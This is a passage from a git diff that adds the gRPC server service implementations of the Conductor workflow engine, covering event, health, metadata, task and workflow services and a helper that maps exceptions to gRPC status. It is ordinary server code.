    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.grpc.server.service; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.stereotype.Service; + +import com.netflix.conductor.grpc.EventServiceGrpc; +import com.netflix.conductor.grpc.EventServicePb; +import com.netflix.conductor.grpc.ProtoMapper; +import com.netflix.conductor.proto.EventHandlerPb; +import com.netflix.conductor.service.MetadataService; + +import io.grpc.stub.StreamObserver; + +@Service("grpcEventService") +public class EventServiceImpl extends EventServiceGrpc.EventServiceImplBase { + + private static final Logger LOGGER = LoggerFactory.getLogger(EventServiceImpl.class); + + private static final ProtoMapper PROTO_MAPPER = ProtoMapper.INSTANCE; + + private final MetadataService metadataService; + + public EventServiceImpl(MetadataService metadataService) { + this.metadataService = metadataService; + } + + @Override + public void addEventHandler( + EventServicePb.AddEventHandlerRequest req, + StreamObserver response) { + metadataService.addEventHandler(PROTO_MAPPER.fromProto(req.getHandler())); + response.onNext(EventServicePb.AddEventHandlerResponse.getDefaultInstance()); + response.onCompleted(); + } + + @Override + public void updateEventHandler( + EventServicePb.UpdateEventHandlerRequest req, + StreamObserver response) { + metadataService.updateEventHandler(PROTO_MAPPER.fromProto(req.getHandler())); + response.onNext(EventServicePb.UpdateEventHandlerResponse.getDefaultInstance()); + response.onCompleted(); + } + + @Override + public void removeEventHandler( + EventServicePb.RemoveEventHandlerRequest req, + StreamObserver response) { + metadataService.removeEventHandlerStatus(req.getName()); + response.onNext(EventServicePb.RemoveEventHandlerResponse.getDefaultInstance()); + response.onCompleted(); + } + + @Override + public void getEventHandlers( + EventServicePb.GetEventHandlersRequest req, + StreamObserver response) { + metadataService.getAllEventHandlers().stream() + .map(PROTO_MAPPER::toProto) + .forEach(response::onNext); + response.onCompleted(); + } + + @Override + public void getEventHandlersForEvent( + EventServicePb.GetEventHandlersForEventRequest req, + StreamObserver response) { + metadataService.getEventHandlersForEvent(req.getEvent(), req.getActiveOnly()).stream() + .map(PROTO_MAPPER::toProto) + .forEach(response::onNext); + response.onCompleted(); + } +} diff --git a/grpc-server/src/main/java/com/netflix/conductor/grpc/server/service/GRPCHelper.java b/grpc-server/src/main/java/com/netflix/conductor/grpc/server/service/GRPCHelper.java new file mode 100644 index 0000000..de3924f --- /dev/null +++ b/grpc-server/src/main/java/com/netflix/conductor/grpc/server/service/GRPCHelper.java @@ -0,0 +1,165 @@ +/* + * Copyright 2020 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.grpc.server.service; + +import java.util.Arrays; + +import org.apache.commons.lang3.exception.ExceptionUtils; +import org.slf4j.Logger; + +import com.google.rpc.DebugInfo; +import io.grpc.Metadata; +import io.grpc.Status; +import io.grpc.StatusException; +import io.grpc.stub.StreamObserver; +import jakarta.annotation.Nonnull; + +import static io.grpc.protobuf.ProtoUtils.metadataMarshaller; + +public class GRPCHelper { + + private final Logger logger; + + private static final Metadata.Key STATUS_DETAILS_KEY = + Metadata.Key.of( + "grpc-status-details-bin", metadataMarshaller(DebugInfo.getDefaultInstance())); + + public GRPCHelper(Logger log) { + this.logger = log; + } + + /** + * Converts an internal exception thrown by Conductor into an StatusException that uses modern + * "Status" metadata for GRPC. + * + *

    Note that this is trickier than it ought to be because the GRPC APIs have not been + * upgraded yet. Here's a quick breakdown of how this works in practice: + * + *

    Reporting a "status" result back to a client with GRPC is pretty straightforward. GRPC + * implementations simply serialize the status into several HTTP/2 trailer headers that are sent + * back to the client before shutting down the HTTP/2 stream. + * + *

    - 'grpc-status', which is a string representation of a {@link com.google.rpc.Code} - + * 'grpc-message', which is the description of the returned status - 'grpc-status-details-bin' + * (optional), which is an arbitrary payload with a serialized ProtoBuf object, containing an + * accurate description of the error in case the status is not successful. + * + *

    By convention, Google provides a default set of ProtoBuf messages for the most common + * error cases. Here, we'll be using {@link DebugInfo}, as we're reporting an internal Java + * exception which we couldn't properly handle. + * + *

    Now, how do we go about sending all those headers _and_ the {@link DebugInfo} payload + * using the Java GRPC API? + * + *

    The only way we can return an error with the Java API is by passing an instance of {@link + * io.grpc.StatusException} or {@link io.grpc.StatusRuntimeException} to {@link + * StreamObserver#onError(Throwable)}. The easiest way to create either of these exceptions is + * by using the {@link Status} class and one of its predefined code identifiers (in this case, + * {@link Status#INTERNAL} because we're reporting an internal exception). The {@link Status} + * class has setters to set its most relevant attributes, namely those that will be + * automatically serialized into the 'grpc-status' and 'grpc-message' trailers in the response. + * There is, however, no setter to pass an arbitrary ProtoBuf message to be serialized into a + * `grpc-status-details-bin` trailer. This feature exists in the other language implementations + * but it hasn't been brought to Java yet. + * + *

    Fortunately, {@link Status#asException(Metadata)} exists, allowing us to pass any amount + * of arbitrary trailers before we close the response. So we're using this API to manually craft + * the 'grpc-status-detail-bin' trailer, in the same way that the GRPC server implementations + * for Go and C++ craft and serialize the header. This will allow us to access the metadata + * cleanly from Go and C++ clients by using the 'details' method which _has_ been implemented in + * those two clients. + * + * @param t The exception to convert + * @return an instance of {@link StatusException} which will properly serialize all its headers + * into the response. + */ + private StatusException throwableToStatusException(Throwable t) { + String[] frames = ExceptionUtils.getStackFrames(t); + Metadata metadata = new Metadata(); + metadata.put( + STATUS_DETAILS_KEY, + DebugInfo.newBuilder() + .addAllStackEntries(Arrays.asList(frames)) + .setDetail(ExceptionUtils.getMessage(t)) + .build()); + + return Status.INTERNAL.withDescription(t.getMessage()).withCause(t).asException(metadata); + } + + void onError(StreamObserver response, Throwable t) { + logger.error("internal exception during GRPC request", t); + response.onError(throwableToStatusException(t)); + } + + /** + * Convert a non-null String instance to a possibly null String instance based on ProtoBuf's + * rules for optional arguments. + * + *

    This helper converts an String instance from a ProtoBuf object into a possibly null + * String. In ProtoBuf objects, String fields are not nullable, but an empty String field is + * considered to be "missing". + * + *

    The internal Conductor APIs expect missing arguments to be passed as null values, so this + * helper performs such conversion. + * + * @param str a string from a ProtoBuf object + * @return the original string, or null + */ + String optional(@Nonnull String str) { + return str.isEmpty() ? null : str; + } + + /** + * Check if a given non-null String instance is "missing" according to ProtoBuf's missing field + * rules. If the String is missing, the given default value will be returned. Otherwise, the + * string itself will be returned. + * + * @param str the input String + * @param defaults the default value for the string + * @return 'str' if it is not empty according to ProtoBuf rules; 'defaults' otherwise + */ + String optionalOr(@Nonnull String str, String defaults) { + return str.isEmpty() ? defaults : str; + } + + /** + * Convert a non-null Integer instance to a possibly null Integer instance based on ProtoBuf's + * rules for optional arguments. + * + *

    This helper converts an Integer instance from a ProtoBuf object into a possibly null + * Integer. In ProtoBuf objects, Integer fields are not nullable, but a zero-value Integer field + * is considered to be "missing". + * + *

    The internal Conductor APIs expect missing arguments to be passed as null values, so this + * helper performs such conversion. + * + * @param i an Integer from a ProtoBuf object + * @return the original Integer, or null + */ + Integer optional(@Nonnull Integer i) { + return i == 0 ? null : i; + } + + /** + * Check if a given non-null Integer instance is "missing" according to ProtoBuf's missing field + * rules. If the Integer is missing (i.e. if it has a zero-value), the given default value will + * be returned. Otherwise, the Integer itself will be returned. + * + * @param i the input Integer + * @param defaults the default value for the Integer + * @return 'i' if it is not a zero-value according to ProtoBuf rules; 'defaults' otherwise + */ + Integer optionalOr(@Nonnull Integer i, int defaults) { + return i == 0 ? defaults : i; + } +} diff --git a/grpc-server/src/main/java/com/netflix/conductor/grpc/server/service/HealthServiceImpl.java b/grpc-server/src/main/java/com/netflix/conductor/grpc/server/service/HealthServiceImpl.java new file mode 100644 index 0000000..e2e947e --- /dev/null +++ b/grpc-server/src/main/java/com/netflix/conductor/grpc/server/service/HealthServiceImpl.java @@ -0,0 +1,35 @@ +/* + * Copyright 2020 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.grpc.server.service; + +import org.springframework.stereotype.Service; + +import io.grpc.health.v1.HealthCheckRequest; +import io.grpc.health.v1.HealthCheckResponse; +import io.grpc.health.v1.HealthGrpc; +import io.grpc.stub.StreamObserver; + +@Service("grpcHealthService") +public class HealthServiceImpl extends HealthGrpc.HealthImplBase { + + // SBMTODO: Move this Spring boot health check + @Override + public void check( + HealthCheckRequest request, StreamObserver responseObserver) { + responseObserver.onNext( + HealthCheckResponse.newBuilder() + .setStatus(HealthCheckResponse.ServingStatus.SERVING) + .build()); + responseObserver.onCompleted(); + } +} diff --git a/grpc-server/src/main/java/com/netflix/conductor/grpc/server/service/MetadataServiceImpl.java b/grpc-server/src/main/java/com/netflix/conductor/grpc/server/service/MetadataServiceImpl.java new file mode 100644 index 0000000..9aad0b9 --- /dev/null +++ b/grpc-server/src/main/java/com/netflix/conductor/grpc/server/service/MetadataServiceImpl.java @@ -0,0 +1,152 @@ +/* + * Copyright 2020 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.grpc.server.service; + +import java.util.List; +import java.util.stream.Collectors; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.stereotype.Service; + +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.core.exception.NotFoundException; +import com.netflix.conductor.grpc.MetadataServiceGrpc; +import com.netflix.conductor.grpc.MetadataServicePb; +import com.netflix.conductor.grpc.ProtoMapper; +import com.netflix.conductor.proto.TaskDefPb; +import com.netflix.conductor.proto.WorkflowDefPb; +import com.netflix.conductor.service.MetadataService; + +import io.grpc.Status; +import io.grpc.stub.StreamObserver; + +@Service("grpcMetadataService") +public class MetadataServiceImpl extends MetadataServiceGrpc.MetadataServiceImplBase { + + private static final Logger LOGGER = LoggerFactory.getLogger(MetadataServiceImpl.class); + private static final ProtoMapper PROTO_MAPPER = ProtoMapper.INSTANCE; + private static final GRPCHelper GRPC_HELPER = new GRPCHelper(LOGGER); + + private final MetadataService service; + + public MetadataServiceImpl(MetadataService service) { + this.service = service; + } + + @Override + public void createWorkflow( + MetadataServicePb.CreateWorkflowRequest req, + StreamObserver response) { + WorkflowDef workflow = PROTO_MAPPER.fromProto(req.getWorkflow()); + service.registerWorkflowDef(workflow); + response.onNext(MetadataServicePb.CreateWorkflowResponse.getDefaultInstance()); + response.onCompleted(); + } + + @Override + public void validateWorkflow( + MetadataServicePb.ValidateWorkflowRequest req, + StreamObserver response) { + WorkflowDef workflow = PROTO_MAPPER.fromProto(req.getWorkflow()); + service.validateWorkflowDef(workflow); + response.onNext(MetadataServicePb.ValidateWorkflowResponse.getDefaultInstance()); + response.onCompleted(); + } + + @Override + public void updateWorkflows( + MetadataServicePb.UpdateWorkflowsRequest req, + StreamObserver response) { + List workflows = + req.getDefsList().stream() + .map(PROTO_MAPPER::fromProto) + .collect(Collectors.toList()); + + service.updateWorkflowDef(workflows); + response.onNext(MetadataServicePb.UpdateWorkflowsResponse.getDefaultInstance()); + response.onCompleted(); + } + + @Override + public void getWorkflow( + MetadataServicePb.GetWorkflowRequest req, + StreamObserver response) { + try { + WorkflowDef workflowDef = + service.getWorkflowDef(req.getName(), GRPC_HELPER.optional(req.getVersion())); + WorkflowDefPb.WorkflowDef workflow = PROTO_MAPPER.toProto(workflowDef); + response.onNext( + MetadataServicePb.GetWorkflowResponse.newBuilder() + .setWorkflow(workflow) + .build()); + response.onCompleted(); + } catch (NotFoundException e) { + // TODO replace this with gRPC exception interceptor. + response.onError( + Status.NOT_FOUND + .withDescription("No such workflow found by name=" + req.getName()) + .asRuntimeException()); + } + } + + @Override + public void createTasks( + MetadataServicePb.CreateTasksRequest req, + StreamObserver response) { + service.registerTaskDef( + req.getDefsList().stream() + .map(PROTO_MAPPER::fromProto) + .collect(Collectors.toList())); + response.onNext(MetadataServicePb.CreateTasksResponse.getDefaultInstance()); + response.onCompleted(); + } + + @Override + public void updateTask( + MetadataServicePb.UpdateTaskRequest req, + StreamObserver response) { + TaskDef task = PROTO_MAPPER.fromProto(req.getTask()); + service.updateTaskDef(task); + response.onNext(MetadataServicePb.UpdateTaskResponse.getDefaultInstance()); + response.onCompleted(); + } + + @Override + public void getTask( + MetadataServicePb.GetTaskRequest req, + StreamObserver response) { + TaskDef def = service.getTaskDef(req.getTaskType()); + if (def != null) { + TaskDefPb.TaskDef task = PROTO_MAPPER.toProto(def); + response.onNext(MetadataServicePb.GetTaskResponse.newBuilder().setTask(task).build()); + response.onCompleted(); + } else { + response.onError( + Status.NOT_FOUND + .withDescription( + "No such TaskDef found by taskType=" + req.getTaskType()) + .asRuntimeException()); + } + } + + @Override + public void deleteTask( + MetadataServicePb.DeleteTaskRequest req, + StreamObserver response) { + service.unregisterTaskDef(req.getTaskType()); + response.onNext(MetadataServicePb.DeleteTaskResponse.getDefaultInstance()); + response.onCompleted(); + } +} diff --git a/grpc-server/src/main/java/com/netflix/conductor/grpc/server/service/TaskServiceImpl.java b/grpc-server/src/main/java/com/netflix/conductor/grpc/server/service/TaskServiceImpl.java new file mode 100644 index 0000000..33bc756 --- /dev/null +++ b/grpc-server/src/main/java/com/netflix/conductor/grpc/server/service/TaskServiceImpl.java @@ -0,0 +1,293 @@ +/* + * Copyright 2020 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.grpc.server.service; + +import java.util.List; +import java.util.Map; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.stereotype.Service; + +import com.netflix.conductor.common.metadata.tasks.Task; +import com.netflix.conductor.common.metadata.tasks.TaskExecLog; +import com.netflix.conductor.common.metadata.tasks.TaskResult; +import com.netflix.conductor.common.run.SearchResult; +import com.netflix.conductor.common.run.TaskSummary; +import com.netflix.conductor.grpc.ProtoMapper; +import com.netflix.conductor.grpc.SearchPb; +import com.netflix.conductor.grpc.TaskServiceGrpc; +import com.netflix.conductor.grpc.TaskServicePb; +import com.netflix.conductor.proto.TaskPb; +import com.netflix.conductor.service.ExecutionService; +import com.netflix.conductor.service.TaskService; + +import io.grpc.Status; +import io.grpc.stub.StreamObserver; + +@Service("grpcTaskService") +public class TaskServiceImpl extends TaskServiceGrpc.TaskServiceImplBase { + + private static final Logger LOGGER = LoggerFactory.getLogger(TaskServiceImpl.class); + private static final ProtoMapper PROTO_MAPPER = ProtoMapper.INSTANCE; + private static final GRPCHelper GRPC_HELPER = new GRPCHelper(LOGGER); + + private static final int POLL_TIMEOUT_MS = 100; + private static final int MAX_POLL_TIMEOUT_MS = 5000; + + private final TaskService taskService; + private final int maxSearchSize; + private final ExecutionService executionService; + + public TaskServiceImpl( + ExecutionService executionService, + TaskService taskService, + @Value("${workflow.max.search.size:5000}") int maxSearchSize) { + this.executionService = executionService; + this.taskService = taskService; + this.maxSearchSize = maxSearchSize; + } + + @Override + public void poll( + TaskServicePb.PollRequest req, StreamObserver response) { + try { + List tasks = + executionService.poll( + req.getTaskType(), + req.getWorkerId(), + GRPC_HELPER.optional(req.getDomain()), + 1, + POLL_TIMEOUT_MS); + if (!tasks.isEmpty()) { + TaskPb.Task t = PROTO_MAPPER.toProto(tasks.get(0)); + response.onNext(TaskServicePb.PollResponse.newBuilder().setTask(t).build()); + } + response.onCompleted(); + } catch (Exception e) { + GRPC_HELPER.onError(response, e); + } + } + + @Override + public void batchPoll( + TaskServicePb.BatchPollRequest req, StreamObserver response) { + final int count = GRPC_HELPER.optionalOr(req.getCount(), 1); + final int timeout = GRPC_HELPER.optionalOr(req.getTimeout(), POLL_TIMEOUT_MS); + + if (timeout > MAX_POLL_TIMEOUT_MS) { + response.onError( + Status.INVALID_ARGUMENT + .withDescription( + "longpoll timeout cannot be longer than " + + MAX_POLL_TIMEOUT_MS + + "ms") + .asRuntimeException()); + return; + } + + try { + List polledTasks = + taskService.batchPoll( + req.getTaskType(), + req.getWorkerId(), + GRPC_HELPER.optional(req.getDomain()), + count, + timeout); + LOGGER.info("polled tasks: " + polledTasks); + polledTasks.stream().map(PROTO_MAPPER::toProto).forEach(response::onNext); + response.onCompleted(); + } catch (Exception e) { + GRPC_HELPER.onError(response, e); + } + } + + @Override + public void updateTask( + TaskServicePb.UpdateTaskRequest req, + StreamObserver response) { + try { + TaskResult task = PROTO_MAPPER.fromProto(req.getResult()); + taskService.updateTask(task); + + response.onNext( + TaskServicePb.UpdateTaskResponse.newBuilder() + .setTaskId(task.getTaskId()) + .build()); + response.onCompleted(); + } catch (Exception e) { + GRPC_HELPER.onError(response, e); + } + } + + @Override + public void addLog( + TaskServicePb.AddLogRequest req, + StreamObserver response) { + taskService.log(req.getTaskId(), req.getLog()); + response.onNext(TaskServicePb.AddLogResponse.getDefaultInstance()); + response.onCompleted(); + } + + @Override + public void getTaskLogs( + TaskServicePb.GetTaskLogsRequest req, + StreamObserver response) { + List logs = taskService.getTaskLogs(req.getTaskId()); + response.onNext( + TaskServicePb.GetTaskLogsResponse.newBuilder() + .addAllLogs(logs.stream().map(PROTO_MAPPER::toProto)::iterator) + .build()); + response.onCompleted(); + } + + @Override + public void getTask( + TaskServicePb.GetTaskRequest req, + StreamObserver response) { + try { + Task task = taskService.getTask(req.getTaskId()); + if (task == null) { + response.onError( + Status.NOT_FOUND + .withDescription("No such task found by id=" + req.getTaskId()) + .asRuntimeException()); + } else { + response.onNext( + TaskServicePb.GetTaskResponse.newBuilder() + .setTask(PROTO_MAPPER.toProto(task)) + .build()); + response.onCompleted(); + } + } catch (Exception e) { + GRPC_HELPER.onError(response, e); + } + } + + @Override + public void getQueueSizesForTasks( + TaskServicePb.QueueSizesRequest req, + StreamObserver response) { + Map sizes = taskService.getTaskQueueSizes(req.getTaskTypesList()); + response.onNext( + TaskServicePb.QueueSizesResponse.newBuilder().putAllQueueForTask(sizes).build()); + response.onCompleted(); + } + + @Override + public void getQueueInfo( + TaskServicePb.QueueInfoRequest req, + StreamObserver response) { + Map queueInfo = taskService.getAllQueueDetails(); + + response.onNext( + TaskServicePb.QueueInfoResponse.newBuilder().putAllQueues(queueInfo).build()); + response.onCompleted(); + } + + @Override + public void getQueueAllInfo( + TaskServicePb.QueueAllInfoRequest req, + StreamObserver response) { + Map>> info = taskService.allVerbose(); + TaskServicePb.QueueAllInfoResponse.Builder queuesBuilder = + TaskServicePb.QueueAllInfoResponse.newBuilder(); + + for (Map.Entry>> queue : info.entrySet()) { + final String queueName = queue.getKey(); + final Map> queueShards = queue.getValue(); + + TaskServicePb.QueueAllInfoResponse.QueueInfo.Builder queueInfoBuilder = + TaskServicePb.QueueAllInfoResponse.QueueInfo.newBuilder(); + + for (Map.Entry> shard : queueShards.entrySet()) { + final String shardName = shard.getKey(); + final Map shardInfo = shard.getValue(); + + // FIXME: make shardInfo an actual type + // shardInfo is an immutable map with predefined keys, so we can always + // access 'size' and 'uacked'. It would be better if shardInfo + // were actually a POJO. + queueInfoBuilder.putShards( + shardName, + TaskServicePb.QueueAllInfoResponse.ShardInfo.newBuilder() + .setSize(shardInfo.get("size")) + .setUacked(shardInfo.get("uacked")) + .build()); + } + + queuesBuilder.putQueues(queueName, queueInfoBuilder.build()); + } + + response.onNext(queuesBuilder.build()); + response.onCompleted(); + } + + @Override + public void search( + SearchPb.Request req, StreamObserver response) { + final int start = req.getStart(); + final int size = GRPC_HELPER.optionalOr(req.getSize(), maxSearchSize); + final String sort = req.getSort(); + final String freeText = GRPC_HELPER.optionalOr(req.getFreeText(), "*"); + final String query = req.getQuery(); + if (size > maxSearchSize) { + response.onError( + Status.INVALID_ARGUMENT + .withDescription( + "Cannot return more than " + maxSearchSize + " results") + .asRuntimeException()); + return; + } + SearchResult searchResult = + taskService.search(start, size, sort, freeText, query); + response.onNext( + TaskServicePb.TaskSummarySearchResult.newBuilder() + .setTotalHits(searchResult.getTotalHits()) + .addAllResults( + searchResult.getResults().stream().map(PROTO_MAPPER::toProto) + ::iterator) + .build()); + response.onCompleted(); + } + + @Override + public void searchV2( + SearchPb.Request req, StreamObserver response) { + final int start = req.getStart(); + final int size = GRPC_HELPER.optionalOr(req.getSize(), maxSearchSize); + final String sort = req.getSort(); + final String freeText = GRPC_HELPER.optionalOr(req.getFreeText(), "*"); + final String query = req.getQuery(); + + if (size > maxSearchSize) { + response.onError( + Status.INVALID_ARGUMENT + .withDescription( + "Cannot return more than " + maxSearchSize + " results") + .asRuntimeException()); + return; + } + + SearchResult searchResult = taskService.searchV2(start, size, sort, freeText, query); + response.onNext( + TaskServicePb.TaskSearchResult.newBuilder() + .setTotalHits(searchResult.getTotalHits()) + .addAllResults( + searchResult.getResults().stream().map(PROTO_MAPPER::toProto) + ::iterator) + .build()); + response.onCompleted(); + } +} diff --git a/grpc-server/src/main/java/com/netflix/conductor/grpc/server/service/WorkflowServiceImpl.java b/grpc-server/src/main/java/com/netflix/conductor/grpc/server/service/WorkflowServiceImpl.java new file mode 100644 index 0000000..df60fb6 --- /dev/null +++ b/grpc-server/src/main/java/com/netflix/conductor/grpc/server/service/WorkflowServiceImpl.java @@ -0,0 +1,392 @@ +/* + * Copyright 2020 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.grpc.server.service; + +import java.util.ArrayList; +import java.util.Arrays; +import java.util.List; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.stereotype.Service; + +import com.netflix.conductor.common.metadata.workflow.SkipTaskRequest; +import com.netflix.conductor.common.metadata.workflow.StartWorkflowRequest; +import com.netflix.conductor.common.run.SearchResult; +import com.netflix.conductor.common.run.Workflow; +import com.netflix.conductor.common.run.WorkflowSummary; +import com.netflix.conductor.core.exception.NotFoundException; +import com.netflix.conductor.grpc.ProtoMapper; +import com.netflix.conductor.grpc.SearchPb; +import com.netflix.conductor.grpc.WorkflowServiceGrpc; +import com.netflix.conductor.grpc.WorkflowServicePb; +import com.netflix.conductor.proto.RerunWorkflowRequestPb; +import com.netflix.conductor.proto.StartWorkflowRequestPb; +import com.netflix.conductor.proto.WorkflowPb; +import com.netflix.conductor.service.WorkflowService; + +import io.grpc.Status; +import io.grpc.stub.StreamObserver; + +@Service("grpcWorkflowService") +public class WorkflowServiceImpl extends WorkflowServiceGrpc.WorkflowServiceImplBase { + + private static final Logger LOGGER = LoggerFactory.getLogger(TaskServiceImpl.class); + private static final ProtoMapper PROTO_MAPPER = ProtoMapper.INSTANCE; + private static final GRPCHelper GRPC_HELPER = new GRPCHelper(LOGGER); + + private final WorkflowService workflowService; + private final int maxSearchSize; + + public WorkflowServiceImpl( + WorkflowService workflowService, + @Value("${workflow.max.search.size:5000}") int maxSearchSize) { + this.workflowService = workflowService; + this.maxSearchSize = maxSearchSize; + } + + @Override + public void startWorkflow( + StartWorkflowRequestPb.StartWorkflowRequest pbRequest, + StreamObserver response) { + + // TODO: better handling of optional 'version' + final StartWorkflowRequest request = PROTO_MAPPER.fromProto(pbRequest); + try { + String id = + workflowService.startWorkflow( + pbRequest.getName(), + GRPC_HELPER.optional(request.getVersion()), + request.getCorrelationId(), + request.getPriority(), + request.getInput(), + request.getExternalInputPayloadStoragePath(), + request.getTaskToDomain(), + request.getWorkflowDef()); + + response.onNext( + WorkflowServicePb.StartWorkflowResponse.newBuilder().setWorkflowId(id).build()); + response.onCompleted(); + } catch (NotFoundException nfe) { + response.onError( + Status.NOT_FOUND + .withDescription("No such workflow found by name=" + request.getName()) + .asRuntimeException()); + } catch (Exception e) { + + GRPC_HELPER.onError(response, e); + } + } + + @Override + public void getWorkflows( + WorkflowServicePb.GetWorkflowsRequest req, + StreamObserver response) { + final String name = req.getName(); + final boolean includeClosed = req.getIncludeClosed(); + final boolean includeTasks = req.getIncludeTasks(); + + WorkflowServicePb.GetWorkflowsResponse.Builder builder = + WorkflowServicePb.GetWorkflowsResponse.newBuilder(); + + for (String correlationId : req.getCorrelationIdList()) { + List workflows = + workflowService.getWorkflows(name, correlationId, includeClosed, includeTasks); + builder.putWorkflowsById( + correlationId, + WorkflowServicePb.GetWorkflowsResponse.Workflows.newBuilder() + .addAllWorkflows( + workflows.stream().map(PROTO_MAPPER::toProto)::iterator) + .build()); + } + + response.onNext(builder.build()); + response.onCompleted(); + } + + @Override + public void getWorkflowStatus( + WorkflowServicePb.GetWorkflowStatusRequest req, + StreamObserver response) { + try { + Workflow workflow = + workflowService.getExecutionStatus(req.getWorkflowId(), req.getIncludeTasks()); + response.onNext(PROTO_MAPPER.toProto(workflow)); + response.onCompleted(); + } catch (Exception e) { + GRPC_HELPER.onError(response, e); + } + } + + @Override + public void removeWorkflow( + WorkflowServicePb.RemoveWorkflowRequest req, + StreamObserver response) { + try { + workflowService.deleteWorkflow(req.getWorkflodId(), req.getArchiveWorkflow()); + response.onNext(WorkflowServicePb.RemoveWorkflowResponse.getDefaultInstance()); + response.onCompleted(); + } catch (Exception e) { + GRPC_HELPER.onError(response, e); + } + } + + @Override + public void getRunningWorkflows( + WorkflowServicePb.GetRunningWorkflowsRequest req, + StreamObserver response) { + try { + List workflowIds = + workflowService.getRunningWorkflows( + req.getName(), req.getVersion(), req.getStartTime(), req.getEndTime()); + + response.onNext( + WorkflowServicePb.GetRunningWorkflowsResponse.newBuilder() + .addAllWorkflowIds(workflowIds) + .build()); + response.onCompleted(); + } catch (Exception e) { + GRPC_HELPER.onError(response, e); + } + } + + @Override + public void decideWorkflow( + WorkflowServicePb.DecideWorkflowRequest req, + StreamObserver response) { + try { + workflowService.decideWorkflow(req.getWorkflowId()); + response.onNext(WorkflowServicePb.DecideWorkflowResponse.getDefaultInstance()); + response.onCompleted(); + } catch (Exception e) { + GRPC_HELPER.onError(response, e); + } + } + + @Override + public void pauseWorkflow( + WorkflowServicePb.PauseWorkflowRequest req, + StreamObserver response) { + try { + workflowService.pauseWorkflow(req.getWorkflowId()); + response.onNext(WorkflowServicePb.PauseWorkflowResponse.getDefaultInstance()); + response.onCompleted(); + } catch (Exception e) { + GRPC_HELPER.onError(response, e); + } + } + + @Override + public void resumeWorkflow( + WorkflowServicePb.ResumeWorkflowRequest req, + StreamObserver response) { + try { + workflowService.resumeWorkflow(req.getWorkflowId()); + response.onNext(WorkflowServicePb.ResumeWorkflowResponse.getDefaultInstance()); + response.onCompleted(); + } catch (Exception e) { + GRPC_HELPER.onError(response, e); + } + } + + @Override + public void skipTaskFromWorkflow( + WorkflowServicePb.SkipTaskRequest req, + StreamObserver response) { + try { + SkipTaskRequest skipTask = PROTO_MAPPER.fromProto(req.getRequest()); + + workflowService.skipTaskFromWorkflow( + req.getWorkflowId(), req.getTaskReferenceName(), skipTask); + response.onNext(WorkflowServicePb.SkipTaskResponse.getDefaultInstance()); + response.onCompleted(); + } catch (Exception e) { + GRPC_HELPER.onError(response, e); + } + } + + @Override + public void rerunWorkflow( + RerunWorkflowRequestPb.RerunWorkflowRequest req, + StreamObserver response) { + try { + String id = + workflowService.rerunWorkflow( + req.getReRunFromWorkflowId(), PROTO_MAPPER.fromProto(req)); + response.onNext( + WorkflowServicePb.RerunWorkflowResponse.newBuilder().setWorkflowId(id).build()); + response.onCompleted(); + } catch (Exception e) { + GRPC_HELPER.onError(response, e); + } + } + + @Override + public void restartWorkflow( + WorkflowServicePb.RestartWorkflowRequest req, + StreamObserver response) { + try { + workflowService.restartWorkflow(req.getWorkflowId(), req.getUseLatestDefinitions()); + response.onNext(WorkflowServicePb.RestartWorkflowResponse.getDefaultInstance()); + response.onCompleted(); + } catch (Exception e) { + GRPC_HELPER.onError(response, e); + } + } + + @Override + public void retryWorkflow( + WorkflowServicePb.RetryWorkflowRequest req, + StreamObserver response) { + try { + workflowService.retryWorkflow(req.getWorkflowId(), req.getResumeSubworkflowTasks()); + response.onNext(WorkflowServicePb.RetryWorkflowResponse.getDefaultInstance()); + response.onCompleted(); + } catch (Exception e) { + GRPC_HELPER.onError(response, e); + } + } + + @Override + public void resetWorkflowCallbacks( + WorkflowServicePb.ResetWorkflowCallbacksRequest req, + StreamObserver response) { + try { + 